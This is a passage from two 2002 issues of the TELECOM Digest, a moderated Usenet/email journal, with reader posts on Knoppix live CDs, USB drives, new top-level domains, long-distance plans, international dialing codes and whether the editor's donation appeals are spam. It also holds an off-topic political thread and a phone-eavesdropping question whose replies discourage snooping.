<200212070635.gB76ZNH09972@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #168 TELECOM Digest Sat, 7 Dec 2002 01:35:00 EST Volume 22 : Issue 168 Inside This Issue: Editor: Patrick A. Townson Being Online Without a Hard Drive (TELECOM Digest Editor) Re: Ten TLD's (John Higdon) TiVo Tries to Change the Channel (Monty Solomon) Off-topic, but... (Joey Lindstrom) Re: Is Share Day Message Spam (Joey Lindstrom) Re: Is Share Day Message Spam (Anonymous by Request) Changing to ECG Long Distance (Ian) Re: Last Laugh! The Ultimate Phone Spam?! (PStreicher) WebCam: A Sight for Sore Eyes (TELECOM Digest Editor) Listening In on My Home Phone Line (mark) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Fri, 6 Dec 2002 14:58:23 EST From: TELECOM Digest Editor Subject: Being Online Without a Hard Drive Let's say your hard drive has crashed, or somehow gotten wiped out, formatted mysteriously or whatever. Does that mean you cannot get on line or do other work with computer until you get the problem fixed? No, not any more ... :) I received a gift from my California friend which cures that sort of problem. It is called *KNOPPIX* which is an entire *nix-based operating system on a CD. Seriously ... what you have to do is change your BIOS around a little as needed. Make sure it is set to boot *first* from the CD, *then* from the hard drive. I think most people have it that way anyway. But if you don't you may want to make that adjustment. Then your hard drive could be in pieces on your work bench for example, and you WILL be able to get on the net. Or, when you grow weary of using Windows (I cannot imagine why anyone would dislike such a fine product) -- snicker! -- what you do is pop your knoppix CD in the drive, let it boot up, and presto, an almost entire x-windows/linux thing. The best part seems to be if your hard drive is *not* demolished, but actually there and working; you will notice how part of the boot up process of the knoppix CD is to mount your existing file storage areas (like the hard drive for example) and you can use many of your 'regular' files as though they were *nix in their nature. One disadvantage is you have to have sufficient swap space on your computer to make it work correctly. Without sufficent space on the computer, things do get cluttered and it tends to run a little slower than I would like. You do get a lot or most of the x-windows features however. When you boot this knoppix CD, the first thing it does is goes through your computer and takes an 'inventory' of everything on your system; where to find the sound card for example, where to find your modem or DSL or cable connection, etc, then it configures itself accordingly. Another drawback is that nothing remains static. Whatever configur- ations you first give it on logging in to start using it have to be done every time you log in using it. I am trying to figure out a way to load it all from the CD onto my drive F so I can keep the configurations I want on a permanent basis. 'Drive F' = a Fujifilm USB drive about the size of my finger which has a male USB connector on the end, and plugs into a USB socket. Mine has a 'mere' 64 MB of storage space, and the power on the line is enough to power it and keep it going. They come in sizes from 16 MB up to 512 MB all about the size of your finger, they weigh about an ounce and can be clipped in your shirt pocket and carried around from one computer to another. When I first received mine and plugged it into the USB hub (hub looks like an extension cord; one end plugs in the socket on the back of the computer, the other end terminates in a multiple number of USB female sockets; you plug your various USB devices in there). Anyway, when I got it, I immediatly plugged it into the hub, the Windows XP machine gave its little beep and flashed a message on the screen saying ""external storage device 'for pat' is ready to use."" 'for pat' is the name that my friend gave it when he plugged it in his Apple Mac to test it out. When I go to 'my computer' here, I see a similar file folder, which I have since renamed 'USB Storage'. Click on that file, and there you are, ready to store/delete, whatever. Anyway, what I am trying to do is 'copy E to F' (that is to say move the contents of the CD over to the Fujifilm (fits in your shirt pocket storage device). You can copy it over there with room to spare, but the catch is you have to be already booted up (in Windows for example) to get in there and use it. And that sort of maneuver not only defeats the purpose of the Knoppix CD, it also confuses the hell out of the computer, having Windows trying to run Knoppix. If you try to load the computer from drive F by telling the BIOS to look in there (F) and load if possible, it won't do that either. So if I can figure out how to keep a few configs stored there which I can autoload somehow from F after I have loaded the Knoppix CD that will save some time and allow me to use it instead of Windows, period. My brain desease however is not allowing me to get that far up in my thinking. The nice thing about the Fujifilm storage device however is I can unplug it from the XP hub and carry it over to my 98 laptop and load it with programs which I then cart back over to the XP and use. Ditto, my old Windows 95 which has a convenient USB port on the back side of it. The 98 requires a 'driver' to be installed to use it, but supposedly the Windows 95 does not. Anyway, do take a look at Knoppix. You can find it using Google search I understand, or get someone to burn a copy of it for you if you do not have a way to download it and burn it yourself. Knoppix is a great Christ Mass gift from my friend, and so was the Fujifilm 64 MB 'pen' which I can carry in my pocket. Patrick Townson ------------------------------ From: John Higdon Subject: Re: Ten TLD's Organization: Green Hills and Cows Date: Fri, 06 Dec 2002 11:40:52 -0800 In article , Joey Lindstrom wrote: > And ... coming soon: > .pro (http://www.nic.pro) > Note to John Higdon: better start updating your spam-filter, there's a > whole new TLD a-comin' ... :-) You forgot .kids, which is to be free of any adult material. But I don't need to update my spam filter. It is an ""opt-in"" system that considers non-listed TLDs to be bogus. As time goes by, my original assessment of the issue appears to be correct. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Date: Thu, 5 Dec 2002 08:41:10 -0500 From: Monty Solomon Subject: TiVo Tries to Change the Channel Losing market share, TiVo shifts from a go-it-alone strategy to a licensing model. Is that enough? By Eric Hellweg, CNN/Money Contributing Columnist SAN FRANCISCO (CNN/Money) - Need a jolt to wake you from your post-Thanksgiving haze? How about this: The world's leading seller of personal video recorders (PVRs), those nifty set-top boxes that allow users to pause live TV and record shows on a hard drive, isn't TiVo, the brand that's synonymous with the technology. In fact, it's EchoStar's Dish Network, a satellite television provider. http://money.cnn.com/2002/12/03/technology/techinvestor/hellweg/index.htm ------------------------------ From: Joey Lindstrom Date: Thu, 05 Dec 2002 15:49:19 -0700 Subject: Off-topic, but ... Reply-To: joey@lairdsflooring.com ... I just can't leave this without replying. For those who do not wish to read any continuation of the ""Thanksgiving"" thread, please skip to the next message. On Wed, 4 Dec 2002 22:08:47 EST, editor@telecom-digest.org wrote: > [TELECOM Digest Editor's Note: Your fourth paragraph tells where > things are really at with you: 'Not going to apologize for Chris > Columbus and others in that era.' Do you feel it has now been so long > ago, everyone should just forget about it? I mean, the Europeans (of > that day) just moved in and took over. The ancestors of the Europeans > of that day are now referred to as Americans of course, but one thing > continues to live on; their arrogance and feelings of superiority. Let me ask you two questions, Pat. 1) Why should I apologize for any of those people? I wasn't here. They're not related to me either directly or indirectly (well, maybe WAY, WAY back in the ol' family tree). My paternal great-grandparents (both sides) emigrated to Canada from Sweden in the early 1900's. My mother emigrated to Canada in 1965 from England. We had nothing to do with any of these events. And even if my relatives came over on the Mayflower, *THEY* are the ""perpetrators"". Not me, not my family. Forget about these things? No. Continue to feel guilty about them? Hell no. Why should *I* apologize on behalf of the ""perpetrators""? They had their chance to do so. 2) When do the hatred and hard feelings end, Pat? Look at the lunacy going on in, say, Northern Ireland right now. You've got two religious groups doing battle on an almost daily basis over a tiff that started centuries ago. One side attacks the other. The attacked side retaliates the next day. WHEN DOES IT END? When we've destroyed each other? Or can we come together at some point, forgive past transgressions, and agree to build a new future together? BTW, I feel the same way about this ""slavery reparations"" argument that comes up from time to time. Nobody living today ever benefited from slavery, and nobody living today ever was victimized by it (note: when I say ""slavery"", I'm talking about the legal institution of slavery, and leaving out isolated criminal incidents that have happened since emancipation). Why should those who never benefited have to pay reparations to those who were never harmed? Yes, slavery was A Bad Thing, but again - how long are we going to be angry at each other? Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com [TELECOM Digest Editor's Note: I've worked my family tree back to 1635 on my father's side of the family; the *original* Townsends here in the USA came from England around that time. One of the Townsend bunch migrated from Long Island, NY down to the Carolinas, then through the Appalachin Mountains into Georgia by sometime in the 1800's, then to Blairsville, GA in the late 1800's; then via Tulsa, Indian Territory and Tahlequah, Indian Territory (later Oklahoma) then into Coffeyville, KS at the start of the 20th century. On my mother's side, I have traced the Mahans back to 1840 when they came from Ireland. I agree with you that at some point the hostilities should come to an end. Maybe the hostility will end when Dubya and his cronies get off their arrogance kick regarding the middle east; in other words, no time soon. PAT] ------------------------------ From: Joey Lindstrom Date: Fri, 06 Dec 2002 09:37:07 -0700 Subject: Re: Is Share Day Message Spam Reply-To: joey@lairdsflooring.com On Wed, 4 Dec 2002 22:54:27 EST, Paul A Lee wrote: > I submit that the complainant does not understand the concept of ""spam"". > Spam is advertising or solicitation that is excruciatingly redundant, > promotes something that is of questionable or no value, and/or seeks > to present its message to its recipient despite explicit or implicit > rejection or avoidance of that message by the recipient. We could start (yet again) a whole argument on the ""definition of spam"". Suffice it to say that I don't agree with your definition: the value of what the spam promotes doesn't enter into it. I get lots of spam pushing anti-virus products (well-established, well-known ones) -- it's still spam. It also doesn't have to be redundant: even one such message is still spam. What I think we CAN agree on is that spam is ""unsolicited"". We didn't ask for it, and we probably don't want it. > Our moderator's entreaty for consideration given in return for value > received does not reasonably fit any of those categories. More to the point, I don't believe Pat's entreaties qualify as ""unsolicited"". I would argue the points that: 1) If you receive this via the Telecom Digest mailing list, you have explicitly signed up to receive a service -- ""value received"", indubitably. 2) If you receive this via the (moderated) newsgroup, you do so knowing that SOMEBODY is doing the work of moderating the group and thus has some measure of control over what's going on, and that by participating you agree to that control. Now, most of us own television sets. We don't seem to have too much of a problem with the idea that we can stick a pair of rabbit ears on the TV and watch ""free"" TV, but we have to ""pay"" for it by watching commercials. Pat's monthly messages are this forum's ""commercials"", and they're far, far less instrusive (even with a double-post). That said, I love some of the other suggestions put forward (hey Pat, pay attention! heh heh!). IE: Post the commercial ONCE each on the 1st and 15th, and then maybe stick a single line as part of the regular ""signature"", something like this: ""To support the Telecom Digest, please visit http://www.someurl.com"" (which of course would be a page outlining, in more detail, exactly what Pat does for us and why he needs our support, and of course showing the way to make a donation.) jt wrote: > Pat, take an expression from ""soviet canuckstan"" and tell him to > piss up a rope. I used that in a self-depracating way (the Soviet Canuckistan bit), but the simple fact of the matter is that Pat Buchanan was absolutely right. What most people ('specially north of the border) didn't understand is that he wasn't referring to Canadians, but to the Canadian government -- which is indeed a de-facto dictatorship and does not respond to the will of the people. As for ""piss up a rope"", be thankful I'm not British, or I might ""take the piss"". :-) Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com [TELECOM Digest Editor's Note: Well. the USA government is the same kind of de-facto dictatorship, which does not (lately at least) respond to the will of the American people. PAT] ------------------------------ From: Name Withheld by Poster's Request Subject: Re: Is Share Day Message Spam Date: Thu, 05 Dec 2002 15:52:17 -0500 Pat, Your posts are not SPAM. I agree with others that it might be more effective for you to post in the middle of the month and at the end. Please take the following part of this message as personal, and don't post it. If your willing to do a little work, there is a way to leverage your reputation with the readers so you can earn a little income. I suggested this to you about five years ago, and you clearly didn't understand what I meant (I wasn't as clear about the idea then as I will be today), and flamed me in the newsgroup, so I've been quiet ever since. Perhaps you should examine the idea again. You can set up a web site that is a portal. This would be a virtual tradeshow exhibition hall for all telecom equiment, supplies, software, etc. -- all that stuff you've got years and years of experience with. So when someone says ""i need an xxxx"" they can go to your portal and find the manufacturers. I view this as being similar to a Trade Show exhibit hall, in that if you want something in particular, you can find a number of manufacturers. And if you just want to browse and see what's new, you can do that also. You can either charge companies to be listed there, or charge by clickthrough. You'll know the categories based on the questions that often come up in this and related NGs. I don't believe that this is ""selling the telecom archives mailing list."" You may also set up a page on the ""virtual tradeshow"" portal to gather names and interests from volunteers. This would be an ""OPT-IN"" service that does not use the telecom archives mailing list. You'd be creating a NEW mailing list (not the telecom archives list) that you could then sell. On Wed, 4 Dec 2002 14:44:18 -0500, in comp.dcom.telecom you wrote: > ""Name Blocked by Moderator"" wrote in message >news:telecom22.164.12@telecom-digest.org: > Pat, take an expression from ""soviet canuckstan"" and tell him to piss up a > rope. > [TELECOM Digest Editor's Note: The group of messages here is the total > of what has been recieved to-date. We will see if there are any more > arrive in the next day or two. PAT] [TELECOM Digest Editor's Note: The person who wrote this message is not the same person whose message I put in anonymously originally. This person who wrote this latest suggestion (about an Exhibit Hall sort of thing with the Digest as part of it) makes an interesting suggestion. I would like to hear more about it. The *only* way I would consider it would be if the telecom mailing list and anything to do with the 'trade show exhibition hall' were kept <---------> this far apart from each other. If someone would like to set up such a web site (it could *NOT* be done on massis.lcs.mit.edu -- that would be Very Naughty --) I would like to hear about it. Links on that 'virtual tradeshow' page could link over here, and the other way around. But one serious problem would be, how much courtesy do *I* have to give the trade show people? If some vendor started something that was really a rip off, do I have to stay quiet about it here on the Digest? Many of you may remember, but some of you do not remember when Microsoft was a sponsor here a number of years ago. Those of you who do remember thought it was a bum deal, and that I would be marching to a new tune as of that day. As a matter of fact I did not entertain any messages here denouncing Microsoft for over a year. And the money *they* paid me enabled me to live in the style to which I am (or was) accustomed for a year or so. I am *not* saying Microsoft is/was a 'ripoff', and I still do not say much about them, but the messages I printed about them in those days did leave me feeling a little squeamish at times. Then many of you will remember how, for years, I had ITU as a sponsor here, then we had that series of messages about ICANN and ITU got ticked and pulled out. Robert Shaw of ITU was the ICANN booster who did that dirty deed, but I have no hard feelings about it. I wonder just how long this 'virtual trade show/exhibition hall thing would last? If anyone wants to try and start it and serve as the 'manager' of the Exhibition Hall, then do so and keep me posted on it. But, I do have Mike Sandman for the 'I want to buy XXXX' purposes; Judith Oppenheimer for advice on toll- free issues, etc. Now days, my de-facto 'sponsor' is Uncle Sugar, of course, compliments of the nearly three months I spent comatose during the brain aneurysm and the year or so afterward I spent in therapy and rehabilitation. Uncle Sugar lets *anyone* sass him; he just does not pay attention, and even I know where to draw the line on giving him a *really* hard time. And for whatever bad things we can say about him, at least he does not spam the net, and he enables me to sit around at my computer all day doing things like http://weatherforecast.n3.net , http://friends-of-indy.n3.net , http://telecom-digest.org/fixclock/ and similar for my own amusement. Let's give some serious thought to the exhibition hall idea. And as for you, anonymous poster who requested name witheld, I *am* sorry you felt very put-upon several years ago and remained silent since then. Really, I am. I do not even remember the spat we had back then. All is forgiven, okay? PAT] ------------------------------ From: ian@jardine.net (Ian) Subject: Changing to ECG Long Distance Date: 6 Dec 2002 13:34:15 -0800 Organization: http://groups.google.com/ After much research I have just changed to ecglongdistance for my LD Tolls and International calls using Global Crossing in my area. The switch seems to be going well. Though Verizon just told me my existing LD carrier etc will charge $15.00 in total to change my 2 phones. Also ecglds website says my new LD calls in NA will cost 3.9 Cents whereas the email I just got says it will be 4.9 Cents. A confusing error???? ------------------------------ From: pstreicher@aol.com (PStreicher) Date: 05 Dec 2002 14:17:25 GMT Organization: AOL http://www.aol.com Subject: Re: Last Laugh! The Ultimate Phone Spam?! Let me tell you that I've been a subscriber to the Florida Dept. of Agriculture's 'No Solicitation' list for several years now. It's a small $5 a year fee and after the first year I think I only receive maybe a half dozen calls a year now if that. Most of those are from one or two of the same charities or a firefighter group. Charitites are exempt. It's been great. ------------------------------ Date: Fri, 6 Dec 2002 17:00:08 -0500 (EST) From: TELECOM Digest Editor Subject: WebCam: A Sight for Sore Eyes Mike Sandman recently referred me to a most unusual site on the net that I want to tell you about, and ask for some suggestions on the software. Mike has some baby birds which you can view if you go to his website for his online catalog http://www.sandman.com and follow the prompts to see the baby birds. Anyway, in the conversation he told me about this weird site called 'CameraWare' which appears to be entirely sexual and very explicit in nature. They do have a category on there for folks who want to do *other things* (besides sex all the time) but I saw no one in that section. Look at Google or some other engine under 'cameraware' as one word to find it. You get two downloads from them: one is the input mode which takes whatever image you give it and puts it on the net 24 hours per day at no charge. The software is free, putting it on the net is free. Where they get you is on the ability to *look at other guys on cam*. For that, you have to have a 'license' for various amounts of time. Presently they are giving a promotion where you get to peek for free :) for 15 minutes at a time. And the system is loaded all the time, hundreds of people showing off and probably several thousand other folks looking. It is a lot of fun, but not if you are easily offended. And they give you cookies to keep track of who is looking at what, etc. I keep it all on my Fujifilm drive F and bogus login names, etc so it can be abolished in a minute if I decide I don't want it around. When I say showing off, I mean NOTHING is left to the imagination. I think the address is http://cameraware.com but check the search engines to be certain of that. What I would like to know is if there is any freeware video sending/ receiving software around? I would like to use that technique myself to show people watching around my yard, etc, but frankly I would be embarrassed to use a service like cameraware; even with a page to get direct to your show, folks would wind up going through all that other stuff, and I have a reputation to keep up, you know. :) If I could fix it to be commercial free and license free, just a way to focus a cam on something and let people look at a web page to see the picture. Supposedly there are hacks out there on cameraware set up by hackers, etc, but I cannot find them. Any ideas? And only for your own research of course, check out http://cameraware.com PAT ------------------------------ From: hulloverlover@hotmail.com (mark) Subject: Listening In on My Home Phone Line Date: 6 Dec 2002 16:15:24 -0800 Organization: http://groups.google.com/ Hi, I need to listen to my home phone line through my computer.Is it possible? I dont need to record just listen. I hope you can help me, your advice may help prevent me losing everything I have. Thank you, a novice, mark hulloverlover@hotmail.com ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. Contact information: Patrick Townson/TELECOM Digest Post Office Box 50 Independence, KS 67301 Phone: 620-330-6774 Fax 1: 775-255-9970 Fax 2: 775-306-8390 Fax 3: 775-642-0603 Fax 4: 530-309-7234 Email: editor@telecom-digest.org Subscribe: telecom-subscribe@telecom-digest.org Unsubscribe:telecom-unsubscribe@telecom-digest.org This Digest is the oldest continuing e-journal about telecomm- unications on the Internet, having been founded in August, 1981 and published continuously since then. Our archives are available for your review/research. We believe we are the second oldest e-zine/ mailing list on the internet in any category! URL information: http://telecom-digest.org Anonymous FTP: mirror.lcs.mit.edu/telecom-archives/archives/ (or use our mirror site: ftp.epix.net/pub/telecom-archives) Email <==> FTP: telecom-archives@telecom-digest.org Send a simple, one line note to that automated address for a help file on how to use the automatic retrieval system for archives files. You can get desired files in email. ************************************************************************* * TELECOM Digest is partially funded by a grant from * * Judith Oppenheimer, President of ICB Inc. and purveyor of accurate * * 800 & Dot Com News, Intelligence, Analysis, and Consulting. * * http://ICBTollFree.com, http://1800TheExpert.com * * Views expressed herein should not be construed as representing * * views of Judith Oppenheimer or ICB Inc. * ************************************************************************* ICB Toll Free News. Contact information is not sold, rented or leased. Access to Premium (P) links requires upgrade to a paid subscription. One click a day feeds a person a meal. Go to http://www.thehungersite.com Only subscribers or registered users of ICB Toll Free News web site will be able to access all or some of the full text of URLs provided. LEGAL STUFF: TELECOM Digest (sm) is owned by Patrick Townson. Copyright 2002 ICB, Inc. and TELECOM Digest. All rights reserved. Our attorney is Bill Levant, of Blue Bell, PA. In addition, gifts from Mike Sandman, Chicago's Telecom Expert have enabled me to replace some obsolete computer equipment and enter the 21st century sort of on schedule. His mail order telephone parts/supplies service based in the Chicago area has been widely recognized by Digest readers as a reliable and very inexpensive source of telecom-related equipment. Please request a free catalog today at http://www.sandman.com --------------------------------------------------------------- Finally, the Digest is funded by gifts from generous readers such as yourself who provide funding in amounts deemed appropriate. Your help is important and appreciated. A suggested donation of twenty dollars per year per reader is considered appropriate. See our address above. Please make at least a single donation to cover the cost of processing your name to the mailing list. All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #168 ****************************** >From editor@telecom-digest.org Sat Dec 7 17:09:53 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gB7M9rM25712; Sat, 7 Dec 2002 17:09:53 -0500 (EST) Date: Sat, 7 Dec 2002 17:09:53 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212072209.gB7M9rM25712@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #169 TELECOM Digest Sat, 7 Dec 2002 17:10:00 EST Volume 22 : Issue 169 Inside This Issue: Editor: Patrick A. Townson Re: Listening In on My Home Phone Line (www.vonage-referral.com) Re: Listening In on My Home Phone Line (joe@obilivan.net) Re: Listening In on My Home Phone Line (Harbor Diver) Re: Off-topic, but ... (Ron Bean) Re: 011+ From NANP vs. 00+ From Most of World (PaulCoxwell@aol.com) Re: Ten TLD's (Ron Bean) Re: Ten TLD's (Robert Bonomi) Re: Changing to ECG Long Distance (John R. Levine) Re: Changing to ECG Long Distance (Ian) Last Laugh! Internet Spammer Getting Taste of Own Medicine (John Meissen) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Sat, 07 Dec 2002 16:16:48 GMT From: dan@vonage-promotion.com.com Subject: Re: Listening In on My Home Phone Line Organization: Optimum Online Are you looking at ""listening"" live or ""recording""? Dan http://www.vonage-referral.com mark wrote in message news:telecom22.168.10@telecom-digest.org: > Hi, > I need to listen to my home phone line through my computer.Is it > possible? I dont need to record just listen. > I hope you can help me, your advice may help prevent me losing > everything I have. > Thank you, a novice, > mark > hulloverlover@hotmail.com ------------------------------ From: joe@obilivan.net Subject: Re: Listening In on My Home Phone Line Date: Sat, 07 Dec 2002 16:36:02 GMT Organization: Cox Communications If it's that important, hire a pro rather than try to get free, often useless advice, on the internet. mark wrote: > Hi, > I need to listen to my home phone line through my computer.Is it > possible? I dont need to record just listen. > I hope you can help me, your advice may help prevent me losing > everything I have. > Thank you, a novice, > mark > hulloverlover@hotmail.com ------------------------------ From: Harbor Diver Subject: Re: Listening In on My Home Phone Line Date: Sat, 07 Dec 2002 07:15:37 -0500 Organization: Fugawi Marine Divers LLC - Boston, MA. Today, 6 Dec 2002 16:15:24 -0800, Two Buddha read a post from hulloverlover@hotmail.com (mark) , and determined his interest in BURP. Where's my beer? Oh and: > I need to listen to my home phone line through my computer.Is it > possible? I dont need to record just listen. > I hope you can help me, your advice may help prevent me losing > everything I have. > Thank you, a novice, If you can listen, you can record. We know this. :) That's why you want your computer to do it. We know this too. :) Marriage counselors work better than snooping, and aren't illegal. ------------------------------ Date: Sat, 7 Dec 2002 08:02:18 -0600 From: Ron Bean Subject: Re: Off-topic, but ... Joey Lindstrom writes: > ... I just can't leave this without replying. For those who do not > wish to read any continuation of the ""Thanksgiving"" thread, please > skip to the next message. OK ... > 2) When do the hatred and hard feelings end, Pat? Look at the lunacy > going on in, say, Northern Ireland right now. You've got two > religious groups doing battle on an almost daily basis over a tiff > that started centuries ago. One side attacks the other. The attacked > side retaliates the next day. WHEN DOES IT END? When we've destroyed > each other? Or can we come together at some point, forgive past > transgressions, and agree to build a new future together? One theory is that it ends when you have a legal system that's *perceived* to be neutral (both the courts, and the cops on the street). You shoot someone, you go to jail, regardless of which side you're on. Eventually all the hard-core loonies are in jail, and everyone else gets on with their lives. It doesn't work if the legal system is *perceived* to be biased (eg, cops hassling one side but not the other). That just creates more hard core loonies ... I don't know how many times in history this has actually been accomplished -- South Africa is the only one that comes to mind. The other possibility, of one side finally destroying the other, has happened any number of times. [TELECOM Digest Editor's Note: Thank you very much! You said it better that I could. Our perceptions of the justice system make all the difference in the world. America -- or the USA, let's say -- does not have a very good reputation in that way. PAT] ------------------------------ From: PaulCoxwell@aol.com Date: Sat, 7 Dec 2002 16:07:29 EST Subject: Re: 011+ From NANP vs. 00+ From Most of World > Mark J Cuccia wrote in message > news:: >> ....Should the US/Canada (NANP) adopt 00+ for (sent-paid) IDDD (alongside >> 011+) _JUST_ to ""conform"" to Europe (and most rest of the world) ????? >> Absolutely _NOT_, and here's why ... >> WHY SHOULD _WE_ change? I'm not asking Europe or other parts of the >> World to change to NANP procedures, but WHY MAKE US change or modify >> anything?... > Typical American xenophobia, if I may say so. Xenophobia? I think that's an unjust accusation. Mark was just making the very reasonable point that there is no real need for North America to go to the trouble and expense of adopting the 00 IDDD prefix just to ""conform"" with Europe and some other parts of the world. The 011 code has served adequately for many years and there is simply no need to change it. >> ... MOST of the [American] public really does NOT make calls >> outside of the NANP... > True, but that's no excuse for making things hard for travellers. And > of course, it means that a change to the IDD code would not bother > most Americans. Is it ""making it hard"" for travelers to expect them to dial 011 instead of 00 for an international call? Anyone who can't take care of that small difference when visiting the U.S.A. is going to have a hard time coping with more mundane, and possibly risky situations, such as learning who has priority at a 4-way stop sign. (Maybe America should do away with those useful devices as well, just because Europe doesn't use them and they might confuse visitors?) I'd bet that 90% of people in the U.K. (and many other European countries) do not know their own country code in any case. Those people are going to have to check what they need to dial to call home anyway, so it makes little difference if they have to remember 011 44 instead of 00 44, or whatever. And for those Europeans who *do* make international calls on a regular basis, don't forget that 00 has been in widespread use for only a few years. Europeans managed quite well with the variety of IDDD prefixes that were used previously: 19, 07, 010, etc. If they managed to learn to use 00, why will they have trouble using 011 in America? What if some sleepy traveler does accidentally start to dial 00+ anyhow? He'll just get connected to the local Telco operator and realize that he's dialed the wrong number -- No charge. >> ...Europeans are more likely to place calls between countries... > True, which is why we have sorted out our IDD and regard ""fortress > America"" with such amusement! I'd say it's more like Fortress Europe. The authorities here aren't content with dictating that everywhere from Finland to Greece and from Ireland to Austria use the same standards, they now feel that America should be ""pulled into line"" as well. If anyone is going to change, it could be argued that 011 was established as an IDDD prefix standard (an international standard, let's add!) long before 00 gained popularity and that therefore Europe should adopt 011. The point is, however, that if America and Europe use different IDDD access codes, it really doesn't matter that much. Now, should *we* change to 911, or should America switch to 999? Or maybe 112? ;) Paul Coxwell Norfolk, England. ------------------------------ Date: Sat, 7 Dec 2002 07:56:43 -0600 From: Ron Bean Subject: Re: Ten TLD's Joey Lindstrom writes: > Nine now, ten very soon. For your viewing pleasure, they are: > .com (for ""commercial"" sites) > .net (for network infrastucture sites, now used by anyone) > .org (for mostly non-profit organizations, now used by anyone) > .aero (http://www.nic.aero) > .info (http://www.nic.info) > .biz (http://www.nic.biz) > .museum (http://www.nic.museum) > .name (http://www.nic.name) > .coop (http://www.nic.coop) > And ... coming soon: > .pro (http://www.nic.pro) What about .gov and .mil? (do they still use .mil?) And can anyone explain to me why most ISPs are .com and not .net? ------------------------------ Subject: Re: Ten TLD's Organization: Not Much From: bonomi@c-ns (Robert Bonomi) Date: Sat, 07 Dec 2002 12:15:48 GMT In article , Joey Lindstrom wrote: > On Wed, 4 Dec 2002 22:08:47 -0500 (EST), Robert Bonomi wrote: >> All _publicly_recognized_ domain names are part of a hierarchical >> system consisting of a LIMITED SET of 'top level domains'. There are, >> currently, 9 TLDs recognized, above and beyond the two-letter >> 'national', or 'country code' domains.' > Nine now, ten very soon. For your viewing pleasure, they are: Arghh! I forgot about the 'controlled availability' NIC handled TLDs, (aero, museum, coop) It's _twelve_ currently, with a whole sh*tload of others 'proposed' but only '.pro' has been approved. > .com (for ""commercial"" sites) > .net (for network infrastucture sites, now used by anyone) > .org (for mostly non-profit organizations, now used by anyone) > .aero (http://www.nic.aero) > .info (http://www.nic.info) > .biz (http://www.nic.biz) > .museum (http://www.nic.museum) > .name (http://www.nic.name) > .coop (http://www.nic.coop) .gov (U.S. government) .mil (U.S. miliatary) .int (international 'treaty' organizations) > And ... coming soon: > .pro (http://www.nic.pro) > Note to John Higdon: better start updating your spam-filter, there's a > whole new TLD a-comin' ... :-) > Joey Lindstrom > joey@garynuman.info In article , John Higdon wrote: > In article , Joey Lindstrom > wrote: >> And ... coming soon: >> .pro (http://www.nic.pro) >> Note to John Higdon: better start updating your spam-filter, there's a >> whole new TLD a-comin' ... :-) > You forgot .kids, which is to be free of any adult material. '.kids' is proposed only, one of several _hundred_ TLD names that havn't gotten any farther than the initial proposal stage. > don't need to update my spam filter. It is an ""opt-in"" system that > considers non-listed TLDs to be bogus. > As time goes by, my original assessment of the issue appears to be > correct. ------------------------------ Date: 7 Dec 2002 02:02:06 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: Changing to ECG Long Distance Organization: I.E.C.C., Trumansburg NY USA > Though Verizon just told me my existing LD carrier etc will charge > $15.00 in total to change my 2 phones. That's ridiculous. I've never heard of an LD carrier with a termination fee. Verizon themselves may charge you $5/line to switch LD carriers. > Also ecglds website says my new LD calls in NA will cost 3.9 Cents > whereas the email I just got says it will be 4.9 Cents. A confusing > error???? They seem to have two plans. The ""residential"" plan is 3.9 cpm with a $1.99 monthly fee, the ""small business"" plan is 4.9 cpm with no fee. You have to make over 200 minutes/month of calls for the 3.9 cpm plan to be cheaper, and 200 minutes is more than most people make. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: ian@jardine.net (Ian) Subject: Re: Changing to ECG Long Distance Date: 7 Dec 2002 06:40:20 -0800 Organization: http://groups.google.com/ I am awaiting ecg's reply to my request to straighten this out. Right now the confirmation of service email from ecg said I would be charge 4.9 Cents PLUS the $1.99 Fee. I am sure all will be fine eventually. Verizon stated that the $15.00 would be because I had two lines and covered AT&T's charges as well. Verizon had to make the switch of carriers for 